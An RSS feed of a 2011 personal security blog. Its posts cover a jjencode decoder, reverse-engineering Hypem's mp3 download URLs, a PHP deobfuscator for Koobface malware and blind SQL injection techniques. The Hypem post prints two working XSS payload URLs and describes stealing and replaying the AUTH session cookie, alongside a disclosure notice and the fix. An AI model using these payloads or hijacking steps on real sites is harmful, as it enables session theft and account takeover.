<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum7" style="color: #606060;"> 7:</span>     <span style="color: #0000ff;">if</span> (i == lines.length - 1) {</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum8" style="color: #606060;"> 8:</span>         <span style="color: #008000;">// _.\$\((.*)(\)\(\))</span></pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum9" style="color: #606060;"> 9:</span>         <span style="color: #0000ff;">var</span> re = <span style="color: #0000ff;">new</span> RegExp(g + <span style="color: #006080;">'.\\$\\((.*)(\\)\\(\\))'</span>);</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum10" style="color: #606060;"> 10:</span>         <span style="color: #0000ff;">var</span> reString = finalLine.match(re);</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum11" style="color: #606060;"> 11:</span>         output = eval(reString[1]);</pre>
<pre style="text-align: left; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum12" style="color: #606060;"> 12:</span>     }</pre>
<pre style="text-align: left; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New', courier, monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible; border-style: none; padding: 0px;"><span id="lnum13" style="color: #606060;"> 13:</span> }</pre>
</div>
</div>
<p>Line 1 if of course the check whether the execution part of jjencode is to be found in the line. If not I’ll <span style="font-family: Consolas;">eval</span> the code at line 2. Inside the else I’ll start the <span style="font-family: Consolas;">lookAhead</span> since the execution part was found, I’ll concat the line to the <span style="font-family: Consolas;">finalLine</span> variable. When there is no more lines to concat it will trigger the <span style="font-family: Consolas;">if</span> sentence at line 7. The RegEx at line 9 vill take the return code inside the execution part and take it out to <span style="font-family: Consolas;">eval</span> it and return lastly.</p>
<p>You can try the thing here: <a href="http://e-x-e.dk/labs/jjdecode/index.php">http://e-x-e.dk/labs/jjdecode/index.php</a>, go have some fun and let me know if you do something smiliar. Remeber to have your console open when fooling around with this. The decoder function can be found here: <a href="http://e-x-e.dk/labs/jjdecode/assets/decoder.js">http://e-x-e.dk/labs/jjdecode/assets/decoder.js</a> and the encoder here: <a href="http://e-x-e.dk/labs/jjdecode/assets/encoder.js">http://e-x-e.dk/labs/jjdecode/assets/encoder.js</a> (the encoder is from <a href="http://utf-8.jp/public/jjencode.html">http://utf-8.jp/public/jjencode.html</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/07/28/jjencode-decoder-jjdecode/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Looking into Hypem&#8230; and some exploits</title>
		<link>http://www.e-x-e.dk/2011/07/26/looking-into-hypem-and-some-exploits/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=looking-into-hypem-and-some-exploits</link>
		<comments>http://www.e-x-e.dk/2011/07/26/looking-into-hypem-and-some-exploits/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 00:03:00 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[Hypem]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/?p=90</guid>
		<description><![CDATA[Please note that this is not in any way an attack on Hypem. All work done here is done with great love to Hypem. Hypem have been notified about the exploits before this release in order to patch these. This is more of an exercise for myself. So the last couple of days I’ve been [...]]]></description>
			<content:encoded><![CDATA[<p>Please note that this is not in any way an attack on Hypem. All work done here is done with great love to Hypem. Hypem have been notified about the exploits before this release in order to patch these. This is more of an exercise for myself.</p>
<p>So the last couple of days I’ve been fooling around with Hypem, both looking into finding their mp3 files and some of the mechanics in that. Moreover I did a quick look for some simple exploits as well. I’ll present my findings starting with the mechanics of finding their mp3 files and hereafter I’ll get to some exploits and some cookie stealing/session hijacking when going over some of their javascript.</p>
<p>If you don’t know what Hypem are then you have been living under a rock. But, this is how they describe themself: <em>“The Hype Machine keeps track of what music bloggers write about. We handpick a set of kickass music blogs and then present what they discuss for easy analysis, consumption and discovery. This way, your odds of stumbling into awesome music or awesome blogs are high.”</em> - <a href="http://hypem.com/about">http://hypem.com/about</a>. Their rank on Alexa can be found here: <a href="http://www.alexa.com/siteinfo/hypem.com">http://www.alexa.com/siteinfo/hypem.com</a></p>
<hr />
<h2>Finding Hypem mp3 files</h2>
<p>So I first wanted to be able to download the awesome music from Hypem which is why I downloaded some plugin for FF in order to do so. But the plugin was bad, I had to go through every song and press download or use another plugin which messed up the naming of the files. Therefore I broke down the plugin in order to find out how they got the files in the first place.</p>
<p>Basicly the url of the mp3 files can be found in two ways (found the second one later on):</p>
<p><span style="font-family: Consolas;">http://hypem.com/serve/play/[id]/[key]</p>
<p>http://hypem.com/serve/source/[id]/[key]</span></p>
<p>The <span style="font-family: Consolas;">/serve/play</span> one will do a redirect to the mp3 file which then can be downloaded. The <span style="font-family: Consolas;">/serve/source</span> one on the other hand will give you a bit of JSON data with the id of the track, the url to the mp3 and a bool <span style="font-family: Consolas;">final</span> which allways seems to be <span style="font-family: Consolas;">true</span> (what I’ve seen so far). The JSON for one of the tracks is shown below (You don’t need to try to download the file, the link is broken on purpose)</p>
<pre class="csharpcode">{
   itemid: <span class="str">"gmef"</span>
   url: <span class="str">"http://t01a.hypem.com/sec/5e3cf3001fck75d3bb1de182b959a89b/51ed41f1/archive/614/10/1eaca15ec90abcde181efk144d146d8b.mp3"</span>
   final: <span class="kwrd">true</span>
}</pre>
<p>Getting this far is quite easy when being in a browser (which is maybe why there are no standalone programs that I could find) which takes care of cookies etc etc. But when I was doing my own program in C# as a program on the side I ran into a couple of problems.</p>
<p>I started by getting the Hypem pages after remembering to add a <span style="font-family: Consolas;">User-Agent</span> in the headers of the HTTP request. Otherwise I wouldn’t get any real content. Getting the ids and keys for the URLs was next on the agenda, luckily Hypem got all of that in their source in a format like this:</p>
<pre class="csharpcode">trackList[document.location.href].push({
   type:<span class="str">'normal'</span>,
   id:<span class="str">'ad5sf'</span>,
   postid:<span class="str">'1539980'</span>,
   posturl:<span class="str">'http://www.themusicninja.com/folk-st-vincent-surgeon/'</span>,
   time:<span class="str">'265'</span>,
   ts: <span class="str">'1311368622'</span>,
   fav:<span class="str">'0'</span>,
   key: <span class="str">'63f38d627b20d16aad38c67cbe1ed2b6'</span>,
   imeem_id:<span class="str">''</span>,
   artist:<span class="str">'St. Vincent'</span>,
   song:<span class="str">'Surgeon'</span>,
   amazon:<span class="str">''</span>,
   itunes:<span class="str">''</span>,
   emusic:<span class="str">''</span>,
   exact_track_avail:<span class="str">'0'</span>
});</pre>
<p>So I created a function which took the input in form of a Hypem HTML source and returned a list of Track objects which all had been extracted from the source. The extraction was quite simple; select all <span style="font-family: Consolas;">&lt;script&gt;</span> tags where <span style="font-family: Consolas;">trackList[document.location.href].push({</span> was to find in the tags innerText. Then parsing the innerText of the selected tags using a couple of RegEx’s to extract the values. Fx. extracting the key could be done using this RegEx (returning the hex value of into the group <span style="font-family: Consolas;">keyValue</span>):</p>
<pre class="csharpcode">\skey\:\s?\'(?&lt;keyValue&gt;([a-fA-F0-9])*)\'\,</pre>
<p>From there I just needed to download the files, right? Almost, since the keys are uniqe to the <span style="font-family: Consolas;">AUTH</span> cookie I first had to pretend being a browser by getting a <span style="font-family: Consolas;">AUTH</span> cookie on my first request to Hypem (Header <span style="font-family: Consolas;">Set-Cokokie</span> was recieved from the HTTP response) and then using it in the future requests including getting the download URLs. Here you can see the <span style="font-family: Consolas;">Set-Cookie</span> header recieved, we’ll come back to that later on:</p>
<pre class="csharpcode">Set-Cookie: AUTH=03%3Adaae3967194bfaa0232a8b0e0aa0a331%3A1311612064%3A1047226477%3A07-DK; expires=Wed, 21-Jul-2027 16:41:04 GMT; path=/; domain=hypem.com</pre>
<p>Otherwise I would get URLs that I could’t download. This is properly made in order prevent users from sharing the <span style="font-family: Consolas;">/serve/*</span> URLs or some other reason that I havn’t found yet. When getting the download URLs I used the /serve/play option then following the HTTP 302, redirecting me to the right download URL.</p>
<p>So if you want to create your own fun little program for surfing Hypem remember to</p>
<ul>
<li>Set your User-Agent header</li>
<li>Reuse your AUTH cookie</li>
</ul>
<p>Another fun little thing with Hypem’s HTTP headers is the header <span style="font-family: Consolas;">X-Hacker</span>:</p>
<pre class="csharpcode">X-hacker: Hey, if you're reading this, you should drop us an email at hypem.com/contact, maybe we can work together!</pre>
<hr />
<h2>Exploits and other fun investigation</h2>
<p>While I was at it I did a quick look for things like SQLi and XSS’s. I didn’t find any SQLi’s (so far), but I did found a couple of XSS’s:</p>
<pre class="csharpcode">http://hypem.com/soundcloud-embed.php?set=planningtorock/sets/w-hype-machine-exclusive/s-8ev0R';alert(document.cookie);var x='
http://hypem.com/search/"<span class="kwrd">&gt;&lt;</span><span class="html">script</span><span class="kwrd">&gt;</span>alert(document.cookie)<span class="kwrd">&lt;/</span><span class="html">script</span><span class="kwrd">&gt;&lt;</span>div class="/1/</pre>
<p><a class="thickbox" href="http://www.e-x-e.dk/wordpress/wp-content/2011/07/hypem-screen1.png"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="hypem-screen1" src="http://www.e-x-e.dk/wordpress/wp-content/2011/07/hypem-screen1_thumb.png" alt="hypem-screen1" width="244" height="205" border="0" /></a><a class="thickbox" href="http://www.e-x-e.dk/wordpress/wp-content/2011/07/hypem-screen2.png"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="hypem-screen2" src="http://www.e-x-e.dk/wordpress/wp-content/2011/07/hypem-screen2_thumb.png" alt="hypem-screen2" width="244" height="205" border="0" /></a></p>
<p>Well these I think speak for themselves. Easy to do a lot of fun with and with some of Hypem’s custom JS functions it’s even easier if you want to automate the process. Hypem godt a HUGE (~2600 lines beautified) JS file with their own functions, helpers etc. If you want to have a look for yourself it’s here (minified): <a href="http://static-ak.hypem.net/rev_1311597164/js/hype_functions_min.js">http://static-ak.hypem.net/rev_1311597164/js/hype_functions_min.js</a>. These are some of the most fun I think:</p>
<ul>
<li><span style="font-family: Consolas;">get_cookie(name)</span></li>
<li><span style="font-family: Consolas;">set_cookie(name, value, expires, path, domain, secure)</span></li>
</ul>
<p>You can of misuse these two functions in an XSS, using <span style="font-family: Consolas;">get_cookie(‘AUTH’)</span> (or just <span style="font-family: Consolas;">document.cookie</span>) and send it to your own server for later use. Then XSS yourself and using the <span style="font-family: Consolas;">set_cookie(…)</span> function to easily set the <span style="font-family: Consolas;">AUTH</span> cookie. The <span style="font-family: Consolas;">path</span>, <span style="font-family: Consolas;">domain</span> etc. you could find in the <span style="font-family: Consolas;">Set-Cookie</span> header gotten earlier. Mind that the <span style="font-family: Consolas;">expires</span> variable indicates how many days from the current time the cookie should be set, you can really set it to whatever. An example use of <span style="font-family: Consolas;">set_cookie(…)</span>:</p>
<pre class="csharpcode">set_cookie(<span class="str">'AUTH'</span>, <span class="str">'03:32ceca302374836fd91f11eb76e0bad9:1311506102:1047226477:07-DK'</span>, 10, <span class="str">'hypem.com'</span>, <span class="str">'/'</span>, <span class="kwrd">false</span>);</pre>
<p>Fixing the XSS’s is rather trivial, escape the strings properly in taking into account where the strings are being echoed and then that’s that. No more XSS and no more session hijacking.</p>
<p>I full list of functions you have here:</p>
<pre class="csharpcode" style="width: 623px; height: 231px;"><span class="kwrd">function</span> set_ad_vars()
<span class="kwrd">function</span> dfp_extras_var_passthru()
<span class="kwrd">function</span> dfp_extras_passback(country)
<span class="kwrd">function</span> refresh_user_menu()
<span class="kwrd">function</span> page_url_state_init()
<span class="kwrd">function</span> load_url(url, action_src)
<span class="kwrd">function</span> check_hash_change()
<span class="kwrd">function</span> rewrite_links()
<span class="kwrd">function</span> get_cookie(name)
<span class="kwrd">function</span> set_cookie(name, value, expires, path, domain, secure)
<span class="kwrd">function</span> get_visitorid_from_cookie()
<span class="kwrd">function</span> hide_notice(cookie_key)
<span class="kwrd">function</span> set_site_queue(queueItems)
<span class="kwrd">function</span> get_site_queue()
<span class="kwrd">function</span> getQueryVariable(variable)
<span class="kwrd">function</span> load_search()
<span class="kwrd">function</span> urlencode_kinda(str)
<span class="kwrd">function</span> load_random_search(forced)
<span class="kwrd">function</span> load_random_track()
<span class="kwrd">function</span> trim(str)
<span class="kwrd">function</span> get_unix_time()
<span class="kwrd">function</span> sec_to_str(nSec)
<span class="kwrd">function</span> toggleLayer(whichLayer)
<span class="kwrd">function</span> getOffX(o)
<span class="kwrd">function</span> sm_onload()
<span class="kwrd">function</span> sm_onplay()
<span class="kwrd">function</span> sm_onresume()
<span class="kwrd">function</span> sm_onpause()
<span class="kwrd">function</span> sm_onfinish()
<span class="kwrd">function</span> sm_whileplaying()
<span class="kwrd">function</span> sm_whileloading()
<span class="kwrd">function</span> sm_start_drag(evt)
<span class="kwrd">function</span> sm_follow_volume_drag(evt)
<span class="kwrd">function</span> sm_follow_progress_drag(evt)
<span class="kwrd">function</span> sm_end_drag(evt)
<span class="kwrd">function</span> sm_update_volume(evt, t_elt, morph)
<span class="kwrd">function</span> sm_update_progress(evt, t_elt)
<span class="kwrd">function</span> sm_toggle_mute()
<span class="kwrd">function</span> loadNextTrack(skip)
<span class="kwrd">function</span> retryLoadTrack()
<span class="kwrd">function</span> beginFadeTransition()
<span class="kwrd">function</span> fadeInSound(soundObj, amount, ms_delay)
<span class="kwrd">function</span> fadeOutSound(soundObj, amount, ms_delay)
<span class="kwrd">function</span> is_fade_enabled()
<span class="kwrd">function</span> is_html5_history_compat()
<span class="kwrd">function</span> update_current_play_ctrl(mode)
<span class="kwrd">function</span> togglePlayByItemid(itemid, evt)
<span class="kwrd">function</span> is_spy_page()
<span class="kwrd">function</span> is_shuffle_page()
<span class="kwrd">function</span> togglePlaySimple()
<span class="kwrd">function</span> togglePlay(id, evt)
<span class="kwrd">function</span> stopTrack()
<span class="kwrd">function</span> playTrack(skip_prompts)
<span class="kwrd">function</span> nextTrack(clicked_obj)
<span class="kwrd">function</span> prevTrack(clicked_obj)
<span class="kwrd">function</span> set_track_bg(fileid, color)
<span class="kwrd">function</span> set_now_playing_info()
<span class="kwrd">function</span> toggle_favorite(type, id, gray, skip_prompt)
<span class="kwrd">function</span> show_all_tracks(elt)
<span class="kwrd">function</span> show_buy(pos)
<span class="kwrd">function</span> expand_hyped(list_parent)
<span class="kwrd">function</span> enable_notification_check()
<span class="kwrd">function</span> check_notification()
<span class="kwrd">function</span> disable_notification_check()
<span class="kwrd">function</span> enable_playback_check()
<span class="kwrd">function</span> playback_check()
<span class="kwrd">function</span> disable_playback_check()
<span class="kwrd">function</span> toggle_item_activity(type, fileid, page)
<span class="kwrd">function</span> update_item_activity(type, fileid, page)
<span class="kwrd">function</span> load_item_activity(type, id, pos, page)
<span class="kwrd">function</span> toggle_item_graph(id, force, pos)
<span class="kwrd">function</span> load_item_graph(id)
<span class="kwrd">function</span> show_sidebar_info(uid, method, section)
<span class="kwrd">function</span> set_nav_item_active(eltid)
<span class="kwrd">function</span> setup_player_bar()
<span class="kwrd">function</span> hide_player_bar()
<span class="kwrd">function</span> show_player_bar()
<span class="kwrd">function</span> blog_search()
<span class="kwrd">function</span> blog_search_keyup()
<span class="kwrd">function</span> blog_directory_switch(tab)
<span class="kwrd">function</span> radio_update()
<span class="kwrd">function</span> load_gs_player(pos, gs_id)
<span class="kwrd">function</span> next_review(pos)
<span class="kwrd">function</span> prev_review(pos)
<span class="kwrd">function</span> show_review(pos)
<span class="kwrd">function</span> updateUrl(value)
<span class="kwrd">function</span> checkEmail()
<span class="kwrd">function</span> create_account(type, id, form_type)
<span class="kwrd">function</span> user_login(type, id)
<span class="kwrd">function</span> post_login(type, id)
<span class="kwrd">function</span> post_username_change()
<span class="kwrd">function</span> cancel_iframe_dialog(redir_to)
<span class="kwrd">function</span> checkPw()
<span class="kwrd">function</span> change_password(old_pw, newpw, key)
<span class="kwrd">function</span> change_username(pw, new_username)
<span class="kwrd">function</span> change_email(pw, email)
<span class="kwrd">function</span> user_logout()
<span class="kwrd">function</span> user_forgot()
<span class="kwrd">function</span> display_twitter_score()
<span class="kwrd">function</span> save_location()
<span class="kwrd">function</span> UploadToS3()
<span class="kwrd">function</span> lightbox_close_handler(lightbox_url)
<span class="kwrd">function</span> contact_show_tips()
<span class="kwrd">function</span> save_account()
<span class="kwrd">function</span> request_confirmation()
<span class="kwrd">function</span> unlink_twitter()
<span class="kwrd">function</span> save_twitter()
<span class="kwrd">function</span> unlink_lastfm()
<span class="kwrd">function</span> save_lastfm()
<span class="kwrd">function</span> show_lightbox(type, url, arg1)</pre>
<p>Also there is the wonderful function <span style="font-family: Consolas;">debug(q, w, e, r)</span> defined like this:</p>
<pre class="csharpcode">window.debug = <span class="kwrd">function</span>(q, w, e, r) {
    <span class="kwrd">if</span> (!document.location.href.match(/dev.hypem.com/)) {
        <span class="kwrd">return</span> <span class="kwrd">false</span>;
    }
    <span class="kwrd">try</span> {
        <span class="kwrd">if</span> (<span class="kwrd">typeof</span> console != <span class="str">'undefined'</span>) {
            console.log.apply(console, arguments);
        }
    } <span class="kwrd">catch</span>(err) {
        <span class="kwrd">if</span> (<span class="kwrd">typeof</span> console != <span class="str">'undefined'</span>) {
            console.log(q, w, e, r);
        }
    }
};</pre>
<p>This function is great, if you are a dev or someone interested in get a deeper look at the inside of Hypem. Unfortunately I’m not a Hypem dev (hint, hint) and the dev.hypem.com requires username/password, so I’ll just redefine the function with this:</p>
<pre class="csharpcode"><span class="kwrd">function</span> debug(q,w,e,r){
    <span class="kwrd">if</span> (do_debug==<span class="kwrd">false</span>) {
        <span class="kwrd">return</span> <span class="kwrd">true</span>;
    }
    <span class="kwrd">try</span>{
        <span class="kwrd">if</span>(<span class="kwrd">typeof</span> console!=<span class="str">'undefined'</span>){
            console.log.apply(console,arguments);
        }
    } <span class="kwrd">catch</span>(err){
        <span class="kwrd">if</span>(<span class="kwrd">typeof</span> console!=<span class="str">'undefined'</span>){
            console.log(q,w,e,r);
        }
    }
}</pre>
<p>I introduced the variable <span style="font-family: Consolas;">do_debug</span>, a <span style="font-family: Consolas;">bool</span> enabling the debug in the console. You should really take a look at the debug messages, a lot of fun stuff to see actually.</p>
<p>Needless to say there are a lot of fun XHR requests going on at all times on Hypem which you’ll find out when debugging the site and looking at the XHR requests. Logging action, radio fun etc. etc. etc. All of this is kind of expected with a site like Hypem where almost all of the stuff is happening via AJAX in order to keep the music playing.</p>
<p>The site also got a bit of fun variables when being logged in and logged out. Without going into depth with all of them here’s the list:</p>
<pre class="csharpcode" style="width: 644px; height: 191px;"><span class="kwrd">var</span> trackList = {};
<span class="kwrd">var</span> activeList = document.location.href;
<span class="kwrd">var</span> currentTrack = 0;
<span class="kwrd">var</span> currentPlayerObj = Array();
<span class="kwrd">var</span> activeItem;
<span class="kwrd">var</span> currentUrl;
<span class="kwrd">var</span> prevUrl;
<span class="kwrd">var</span> is_logged_in;
<span class="kwrd">var</span> logged_in_username;
<span class="kwrd">var</span> playback_allowed;
<span class="kwrd">var</span> dragging_position = <span class="kwrd">false</span>;
<span class="kwrd">var</span> dragging_x;
<span class="kwrd">var</span> isReady = 0;
<span class="kwrd">var</span> playerStatus = <span class="str">""</span>;
<span class="kwrd">var</span> playerDisplayed = <span class="str">"normal"</span>;
<span class="kwrd">var</span> playback_event_timeout = 0;
<span class="kwrd">var</span> playback_event_count = 0;
<span class="kwrd">var</span> playback_manual = 0;
<span class="kwrd">var</span> player_position;
<span class="kwrd">var</span> player_duration;
<span class="kwrd">var</span> player_volume = 50;
<span class="kwrd">var</span> page_updater;
<span class="kwrd">var</span> notificationTimeout = 0;
<span class="kwrd">var</span> updateSpy = 1;
<span class="kwrd">var</span> album_rs = Array();
<span class="kwrd">var</span> album_r_curr = Array();
<span class="kwrd">var</span> autosearch_blogs;
<span class="kwrd">var</span> radio_timeout = 0;
<span class="kwrd">var</span> radio_now_fileid = 0;
<span class="kwrd">var</span> radio_now_data = {};
<span class="kwrd">var</span> radio_counter = 0;
<span class="kwrd">var</span> radio_notificationTimeout = 0;
<span class="kwrd">var</span> master_ord;
<span class="kwrd">var</span> master_passback;
<span class="kwrd">var</span> ad_feedback_code;
<span class="kwrd">var</span> ad_feedback_position;</pre>
<p>I think all of the variable names makes so much sense that I don’t want to explain what each of them do, you’ll have to have fun with that yourself.</p>
<hr />
<h2>Domains, servers etc. etc.</h2>
<p>Here’s just a little bit of info from a quick look at the server, domains and subdomains at Hypem. Not that interesting but there you have it.</p>
<p>Hypem.com is hosted at 205.251.139.43 (US) together with 2 other domains: buymusic.org and hypem.mobi. Properly a VPS for their main stuff I guess. 5 DNS servers from dnsmadeeasy.com used, some load balancing there also. (<a href="http://www.robtex.com/dns/hypem.com.html">http://www.robtex.com/dns/hypem.com.html</a>, <a title="http://toolbar.netcraft.com/site_report?url=http://hypem.com" href="http://toolbar.netcraft.com/site_report?url=http://hypem.com">http://toolbar.netcraft.com/site_report?url=http://hypem.com</a>)</p>
<p>The subdomain dev.hypem.com is hosted at 205.251.142.11 (US). No sharing on that server, properly just an isolated test server for lulz. (<a href="http://www.robtex.com/dns/dev.hypem.com.html">http://www.robtex.com/dns/dev.hypem.com.html</a>).</p>
<p>Subdomain blog.hypem.com is over at <a href="http://www.robtex.com/ip/69.163.207.2.html">69.163.207.2</a> (US). Sharing the IP with a couple of weird domains besides from <a href="http://www.robtex.com/dns/thehypemachine.net.html">thehypemachine.net</a>.</p>
<p>Hypem uses a S3 bucket for their users profile pictures, that’s here: <a href="http://faces-s3.hypem.com/">http://faces-s3.hypem.com/</a>.</p>
<p>Furthermore they got (maybe) 8 servers for hosting their mp3 files at <a href="http://t01a.hypem.com/">http://t01a.hypem.com/</a> –&gt; <a href="http://t08a.hypem.com/">http://t08a.hypem.com/</a>. There are other hosting servers also I’m sure, maybe some soundcloud thingy.</p>
<p>&nbsp;</p>
<p>I think that’s it for now, I’m going to beeed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/07/26/looking-into-hypem-and-some-exploits/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://t01a.hypem.com/sec/5e3cf3001fck75d3bb1de182b959a89b/51ed41f1/archive/614/10/1eaca15ec90abcde181efk144d146d8b.mp3" length="345" type="audio/mpeg" />
		</item>
		<item>
		<title>Oh look what I did: a simple Javascript deobfuscator in PHP</title>
		<link>http://www.e-x-e.dk/2011/07/23/oh-look-what-i-did-a-simple-javascript-deobfuscator-in-php/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=oh-look-what-i-did-a-simple-javascript-deobfuscator-in-php</link>
		<comments>http://www.e-x-e.dk/2011/07/23/oh-look-what-i-did-a-simple-javascript-deobfuscator-in-php/#comments</comments>
		<pubDate>Sat, 23 Jul 2011 14:39:31 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2011/07/23/oh-look-what-i-did-a-simple-javascript-deobfuscator-in-php/</guid>
		<description><![CDATA[So I’ve got this assignment the other day, some Javascript which were obfuscated in an annoying but rather traditional way (seems like it was some variant of Koobface). All of the strings were encoded into hex and saved into a huge array in order to make it harder to analyse by security people like myself. [...]]]></description>
			<content:encoded><![CDATA[<p>So I’ve got this assignment the other day, some Javascript which were obfuscated in an annoying but rather traditional way (seems like it was some variant of Koobface). All of the strings were encoded into hex and saved into a huge array in order to make it harder to analyse by security people like myself. So decoded the array and started doing a couple of functions myself. Then I got tired and felt that there were a smarter way doing this. So there were…</p>
<p>I started doing a fun regex for getting the large blobs of strings used to obfuscate a lot of the actions in the scripts:</p>
<pre class="csharpcode">/<span class="kwrd">var</span> ([_0-9a-zA-Z]*).?=.?\[([\&quot;a-zA-Z0-9,\\\\]*)\]/</pre>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>After obtaining this variable I split up the array and decode the values, building up the array for later use. </p>
<p>From there I take the input file (fx. Koobface) and let the code replace the obfuscated parts of the input with the decoded values from the blob of strings extracted.&#160; After that I do a bit to beautify the code, but if you don’t really like it I recommend: <a href="http://jsbeautifier.org/">http://jsbeautifier.org/</a>. (You can disable the beautify bit by setting the third parameter of <font face="Consolas">replaceDisassembleVars</font> to <font face="Consolas">false</font>).</p>
<p>The code is split up in a couple of main functions with a couple of helper functions. No fancy classes etc at this point but it’ll maybe come later if I get to do some more work on this. </p>
<p>First get the input loaded to a variable fx. with <font face="Consolas">file_get_contents($filePath). </font><font face="Trebuchet MS">Hereafter you get the array extracted from the script with the </font><font face="Consolas">getDisassembleVars($input)</font>. From there you get the deobfuscated script with <font face="Consolas">replaceDisassembleVars($input, $disassembleVars, $beautify = true)</font> which you then can echo.</p>
<p>The code can be downloaded here together with a couple of variants of Koobface in input_1.txt and input_2.txt. Password to the zip is “infected”: <a title="http://e-x-e.dk/stuff/js_deobfuscator.zip" href="http://e-x-e.dk/stuff/js_deobfuscator.zip">http://e-x-e.dk/stuff/js_deobfuscator.zip</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/07/23/oh-look-what-i-did-a-simple-javascript-deobfuscator-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blind SQli considerations and some development</title>
		<link>http://www.e-x-e.dk/2011/07/08/blind-sqli-considerations-and-some-development/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=blind-sqli-considerations-and-some-development</link>
		<comments>http://www.e-x-e.dk/2011/07/08/blind-sqli-considerations-and-some-development/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 13:27:28 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQLi]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2011/07/08/blind-sqli-considerations-and-some-development/</guid>
		<description><![CDATA[Sooo hi! I hope you have a great summer so far. I finally got of from school so now I got time to do some more fun security stuff. I’ll start by talking about some SQLi things I' did today after reading a couple of papers/posts some time ago. Faster blind MySQL injection using bit [...]]]></description>
			<content:encoded><![CDATA[<p>Sooo hi! I hope you have a great summer so far. I finally got of from school so now I got time to do some more fun security stuff. I’ll start by talking about some SQLi things I' did today after reading a couple of papers/posts some time ago.</p>
<h2></h2>
<h3>Faster blind MySQL injection using bit shifting</h3>
<p>The first post I want to tie some thoughts to is the one by Jelmer De Hen (<a href="http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html">http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html</a>). He came up with a method for blind SQLi using bit shifting, pretty clever, I really enjoyed that post for a couple of reasons:</p>
<ul>
<li>First of all this method gets rid of the normal and very request-heavy method where you basicly takes a character at a time and tries requests like: “substr(user(), 1, 1) = ‘a’”, then “substr(user(), 1, 1) = ‘b’” etc. or by taking the ascii value of the character and then checking if it’s higher or lower than some value (and then using simple binary search) </li>
<li>Secondly the method Jelmer came up with uses only 8 requests per&#160; character (assuming that not just ascii characters is the target). </li>
</ul>
<p>But this method have some annoying features as well (when doing it manually), fx. the fact that you’ll have to a lot of binary –&gt; decimal convertions (when using Jelmers exact method) which I for one find rather trivial but still time consuming. Furthermore when it comes to filter evasion this method is reliant on the shifting operator “&gt;&gt;” which I see as a disadvantage as well when evading simple filters (eventhough those could maybe still be evading using diffent encodings)</p>
<h3>Blind Sql Injection with Regular Expressions Attack</h3>
<p>This is a paper done by IHTeam (<a href="http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf">http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf</a>) which uses regular expressions for blind SQLi which turns out to be pretty handy. They also uses some time on time attacks but I find that description trivial and will be for the reader it self to read.</p>
